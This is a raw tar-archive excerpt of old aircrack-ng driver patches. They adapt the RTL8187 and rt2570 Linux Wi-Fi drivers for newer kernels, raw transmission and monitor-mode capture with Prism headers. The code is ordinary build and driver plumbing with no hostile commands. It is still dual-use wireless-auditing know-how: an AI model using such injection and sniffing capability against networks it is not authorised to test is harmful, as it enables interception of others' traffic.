-0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_rx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_tx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_wx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_module.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac_wx.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.o diff -Naur rtl8187_linux_26.1010.0622.2006/makedrv~ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ --- rtl8187_linux_26.1010.0622.2006/makedrv~ 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,13 +0,0 @@ -#!/bin/sh - -#tar -zxvf stack.tar.gz -#tar -zxvf drv.tar.gz -cd ieee80211 -make clean -make -cd ../beta-8187 -make clean -make -cd .. - - diff -Naur rtl8187_linux_26.1010.0622.2006/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-01-30 17:39:29.000000000 +0100 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ --- rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ 2006-06-06 10:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,129 +0,0 @@ -Release Date: 2006-01-13, ver 1.1 -RTL8187 Linux driver version 1.1 - - --This driver supports RealTek RTL8187 Wireless LAN driver for - Fedora Core 2/3/4/5, Debian 3.1, Mandrake 10.2/Mandriva 2006, - SUSE 9.3/10.1/10.2, Gentoo 3.1, etc. - - Support Client mode for either infrastructure or adhoc mode - - Support WEP and WPAPSK connection - -< Component > -The driver is composed of several parts: - 1. Module source code - stack.tar.gz - drv.tar.gz - - 2. Script ot build the modules - makedrv - - 3. Script to load/unload modules - wlan0up - wlan0down - - 4. Script and configuration for DHCP - wlan0dhcp - ifcfg-wlan0 - 4. Supplicant source code: - wpa_supplicant-0.4.9.tar.gz - - 5. Example of supplicant configuration file: - wpa1.conf - -< Installation > -Runing the scripts can finish all operations of building up modules -from the source code and start the nic. - 1. Build up the drivers from the source code - ./makedrv - - 2. load the driver module to kernel and start up nic - ./wlan0up - -< Set wireless lan MIBs > -This driver uses Wireless Extension as an interface allowing you to set -Wireless LAN specific parameters. - -Current driver supports "iwlist" to show the device status of nic - iwlist wlan0 [parameters] -where - parameter explaination [parameters] - ----------------------- ------------- - Show available chan and freq freq / channel - Show and Scan BSS and IBSS scan[ning] - Show supported bit-rate rate / bit[rate] - Show Power Management mode power - -For example: - iwlist wlan0 channel - iwlist wlan0 scan - iwlist wlan0 rate - iwlist wlan0 power - -Driver also supports "iwconfig", manipulate driver private ioctls, to set -MIBs. - - iwconfig wlan0 [parameters] [val] -where - parameter explaination [parameters] [val] constraints - ----------------------- ------------- ------------------ - Connect to AP by address ap [mac_addr] - Set the essid, join (I)BSS essid [essid] - Set operation mode mode {Managed|Ad-hoc} - Set keys and security mode key/enc[ryption] {N|open|restricted|off} - -For example: - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - iwconfig wlan0 essid "ap_name" - iwconfig wlan0 mode Ad-hoc - iwconfig wlan0 mode essid "name" mode Ad-hoc - iwconfig wlan0 key 0123456789 [2] open - iwconfig wlan0 key off - iwconfig wlan0 key restricted [3] 0123456789 - -< Getting IP address > -After start up the nic, the network needs to obtain an IP address before -transmit/receive data. -This can be done by setting the static IP via "ifconfig wlan0 IP_ADDRESS" -command, or using DHCP. - -If using DHCP, setting steps is as below: - (1)connect to an AP via "iwconfig" settings - iwconfig wlan0 essid [name] or - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - - (2)run the script which run the dhclient - ./wlan0dhcp - -< WPAPSK > -WPA_SUPPLICANT help the network to communicate under the protection of WPAPSK -mechanism - - (1)Unpack source code of WPA supplicant: - tar -zxvf wpa_supplicant-0.4.9.tar.gz - cd wpa_supplicant-0.4.9 - - (2)Create .config file: - cp defconfig .config - - (3)Edit .config file, uncomment the following line: - #CONFIG_DRIVER_IPW=y. - - (4)Build WPA supplicant: - make - - (5)Edit wpa_supplicant.conf to set up SSID and its passphrase. - For example, the following setting in "wpa1.conf" means SSID - to join is "BufAG54_Ch6" and its passphrase is "87654321". - network={ - ssid="BufAG54_Ch6" - proto=WPA - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP WEP104 WEP40 - psk="87654321" - priority=2 - } - - (6)Execute WPA supplicant (Assume 8187 and related modules had been - loaded): - ./wpa_supplicant -D ipw -c wpa1.conf -i wlan0 & - diff -Naur rtl8187_linux_26.1010.0622.2006/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-01-30 17:38:11.000000000 +0100 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006/wlan0rmv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-01-30 17:38:11.000000000 +0100 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-beta3/patches/old/rt2570-cvs-20051008-prismheader.patch0000644000000000000000000001317110761053203023407 0ustar rootrootOnly in ./Module: out.cap Only in ./Module: out.txt diff -ur ../rt2570-cvs-20051025/Module/rt2570sw.h ./Module/rt2570sw.h --- ../rt2570-cvs-20051025/Module/rt2570sw.h 2005-10-21 19:31:22.000000000 +0200 +++ ./Module/rt2570sw.h 2005-11-04 11:31:47.000000000 +0100 @@ -3699,4 +3699,55 @@ int USB_CallUSBD(PRT2570ADAPTER Adapter, IN PURB Urb); + +#endif + +#ifndef _PRISMHEADER +#define _PRISMHEADER + +enum { + DIDmsg_lnxind_wlansniffrm = 0x00000044, + DIDmsg_lnxind_wlansniffrm_hosttime = 0x00010044, + DIDmsg_lnxind_wlansniffrm_mactime = 0x00020044, + DIDmsg_lnxind_wlansniffrm_channel = 0x00030044, + DIDmsg_lnxind_wlansniffrm_rssi = 0x00040044, + DIDmsg_lnxind_wlansniffrm_sq = 0x00050044, + DIDmsg_lnxind_wlansniffrm_signal = 0x00060044, + DIDmsg_lnxind_wlansniffrm_noise = 0x00070044, + DIDmsg_lnxind_wlansniffrm_rate = 0x00080044, + DIDmsg_lnxind_wlansniffrm_istx = 0x00090044, + DIDmsg_lnxind_wlansniffrm_frmlen = 0x000A0044 +}; +enum { + P80211ENUM_msgitem_status_no_value = 0x00 +}; +enum { + P80211ENUM_truth_false = 0x00, + P80211ENUM_truth_true = 0x01 +}; + +typedef struct { + u_int32_t did; + u_int16_t status; + u_int16_t len; + u_int32_t data; +} p80211item_uint32_t; + +typedef struct { + u_int32_t msgcode; + u_int32_t msglen; +#define WLAN_DEVNAMELEN_MAX 16 + u_int8_t devname[WLAN_DEVNAMELEN_MAX]; + p80211item_uint32_t hosttime; + p80211item_uint32_t mactime; + p80211item_uint32_t channel; + p80211item_uint32_t rssi; + p80211item_uint32_t sq; + p80211item_uint32_t signal; + p80211item_uint32_t noise; + p80211item_uint32_t rate; + p80211item_uint32_t istx; + p80211item_uint32_t frmlen; +} wlan_ng_prism2_header; + #endif diff -ur ../rt2570-cvs-20051025/Module/rtusb_data.c ./Module/rtusb_data.c --- ../rt2570-cvs-20051025/Module/rtusb_data.c 2005-09-21 01:43:50.000000000 +0200 +++ ./Module/rtusb_data.c 2005-11-04 17:40:27.000000000 +0100 @@ -40,6 +40,7 @@ 0, /* RATE_1 */ 1, /* RATE_2 */ 2, /* RATE_5_5 */ 3, /* RATE_11 */ // see BBP spec 11, /* RATE_6 */ 15, /* RATE_9 */ 10, /* RATE_12 */ 14, /* RATE_18 */ // see IEEE802.11a-1999 p.14 9, /* RATE_24 */ 13, /* RATE_36 */ 8, /* RATE_48 */ 12 /* RATE_54 */ }; // see IEEE802.11a-1999 p.14 +static UINT _11G_RATES[12] = { 0, 0, 0, 0, 6, 9, 12, 18, 24, 36, 48, 54 }; static UCHAR SNAP_802_1H[] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00}; static UCHAR SNAP_BRIDGE_TUNNEL[] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0xf8}; static UCHAR EAPOL[] = {0x88, 0x8e}; @@ -1672,6 +1673,7 @@ NDIS_802_11_ENCRYPTION_STATUS Cipher; struct sk_buff *skb; PVOID pManage; + wlan_ng_prism2_header *ph; pRxContext= (PRX_CONTEXT)pUrb->context; pAdapter = pRxContext->pAdapter; @@ -1709,6 +1711,57 @@ struct sk_buff *skb; if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + // setup the wlan-ng prismheader + + if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) + pskb_expand_head(skb, sizeof(wlan_ng_prism2_header), 0, GFP_ATOMIC); + + ph = (wlan_ng_prism2_header *) + skb_push(skb, sizeof(wlan_ng_prism2_header)); + memset(ph, 0, sizeof(wlan_ng_prism2_header)); + + ph->msgcode = DIDmsg_lnxind_wlansniffrm; + ph->msglen = sizeof(wlan_ng_prism2_header); + strcpy(ph->devname, pAdapter->net->name); + + ph->hosttime.did = DIDmsg_lnxind_wlansniffrm_hosttime; + ph->mactime.did = DIDmsg_lnxind_wlansniffrm_mactime; + ph->channel.did = DIDmsg_lnxind_wlansniffrm_channel; + ph->rssi.did = DIDmsg_lnxind_wlansniffrm_rssi; + ph->signal.did = DIDmsg_lnxind_wlansniffrm_signal; + ph->noise.did = DIDmsg_lnxind_wlansniffrm_noise; + ph->rate.did = DIDmsg_lnxind_wlansniffrm_rate; + ph->istx.did = DIDmsg_lnxind_wlansniffrm_istx; + ph->frmlen.did = DIDmsg_lnxind_wlansniffrm_frmlen; + + ph->hosttime.len = 4; + ph->mactime.len = 4; + ph->channel.len = 4; + ph->rssi.len = 4; + ph->signal.len = 4; + ph->noise.len = 4; + ph->rate.len = 4; + ph->istx.len = 4; + ph->frmlen.len = 4; + + ph->hosttime.data = jiffies; + ph->channel.data = pAdapter->PortCfg.IbssConfig.Channel; + ph->signal.data = pRxD->BBR1; + ph->noise.data = pAdapter->PortCfg.LastR17Value; + ph->rssi.data = ph->signal.data - ph->noise.data; + ph->frmlen.data = pRxD->DataByteCnt; + + if (pRxD->Ofdm == 1) + { + for (i = 4; i < 12; i++) + if (pRxD->BBR0 == PlcpSignal[i]) + ph->rate.data = _11G_RATES[i] * 2; + } + else + ph->rate.data = pRxD->BBR0 / 5; + + // end prismheader setup + skb->dev = pAdapter->net; memcpy(skb_put(skb, pRxD->DataByteCnt-4), pData, pRxD->DataByteCnt-4); skb->mac.raw = skb->data; diff -ur ../rt2570-cvs-20051025/Module/rtusb_info.c ./Module/rtusb_info.c --- ../rt2570-cvs-20051025/Module/rtusb_info.c 2005-10-23 15:33:57.000000000 +0200 +++ ./Module/rtusb_info.c 2005-11-04 11:31:47.000000000 +0100 @@ -200,7 +200,9 @@ pAdapter->PortCfg.IbssConfig.Channel = chan; DBGPRINT(RT_DEBUG_ERROR, "<==SIOCSIWFREQ[cmd=0x%x] (Channel=%d)\n", SIOCSIWFREQ, pAdapter->PortCfg.IbssConfig.Channel); - if (pAdapter->PortCfg.BssType == BSS_MONITOR && pAdapter->PortCfg.MallowRFMONTx == TRUE) + // CD: setting the channel in Monitor mode is unrelated to RFMONTx + + if (pAdapter->PortCfg.BssType == BSS_MONITOR) { pAdapter->PortCfg.Channel = pAdapter->PortCfg.IbssConfig.Channel; AsicSwitchChannel(pAdapter, pAdapter->PortCfg.Channel); @@ -275,7 +277,7 @@ pAdapter->PortCfg.BssType=BSS_MONITOR; RTUSBEnqueueInternalCmd(pAdapter, RT_OID_LINK_DOWN); pAdapter->bConfigChanged = TRUE; - pAdapter->net->type = 801; + pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM RTUSBWriteMACRegister(pAdapter, TXRX_CSR2, 0x4e); break; default: aircrack-ng-1.2-beta3/patches/old/rtl8187_2.6.24.patch0000644000000000000000000127710710761053203020433 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-01-30 17:38:10.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 2008-01-30 17:38:10.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). 